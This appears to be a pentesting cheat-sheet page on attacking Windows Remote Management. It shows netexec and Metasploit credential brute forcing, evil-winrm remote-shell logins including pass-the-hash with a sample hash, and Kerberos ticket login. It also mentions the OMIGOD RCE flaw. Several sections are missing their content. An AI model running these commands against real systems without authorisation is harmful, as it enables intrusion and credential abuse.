githubEdit

WinRM (Windows Remote Management) Pentesting

The Microsoft implementation of WS-Management Protocol which provides a common way for systems to access and exchange management information across an IT infrastructure. Default ports are 5985 (HTTP), 5986 (HTTPS), and also used 47001.

Enumeration

Brute Force Credentials

netexec winrm <target-ip> -d DOMAIN -u usernames.txt -p passwords.txt 

# Metasploit
msfconsole
msf > use auxiliary/scanner/winrm/winrm_login

Connect

Evil-WinRMarrow-up-right is a Windows Remote Management shell for pentesting. Below are list of commands for each situation.

Using Username/Password

evil-winrm -i <target-ip> -u username -p password
# -P: Specifify port
evil-winrm -i <target-ip> -P 5986 -u username -p password

# Pass The Hash (-H)
evil-winrm -i <target-ip> -P 5986 -u username -H 0e0363213e37b94221497260b0bcb4fc

# PowerShell Local Path (-s)
evil-winrm -i <target-ip> -u username -p password -s /opt/scripts

# SSL enabled (-S)
evil-winrm -i <target-ip> -u username -p password -S

If you have private key and public key, you can use them for authentication.

Using Kerberos Authentication

If we have a Kerberos ticket of a user, we can login with its ticket, but some settings are required. At first, we need to modify the nameserver value in the /etc/resolv.conf in our attack machine.

and modify /etc/krb5.conf (or create a new one if it does not exist) in our attack machine as below:

Note that example.local and dc.example.local must be added to /etc/hosts. Now set the environment variable and login with evil-winrm:

Commands

After connecting with evil-winrm, we can use a lot of useful commands to exploit. Note that we need to specify the absolute path for uploading and downloading.

Command Execution with NetExec

OMIGOD (CVE-2021-38647)

Open Management Infrastructure (OMI) is vulnerable to Remote Code Execution (RCE).

There are many PoC available, for instance:

References

Last updated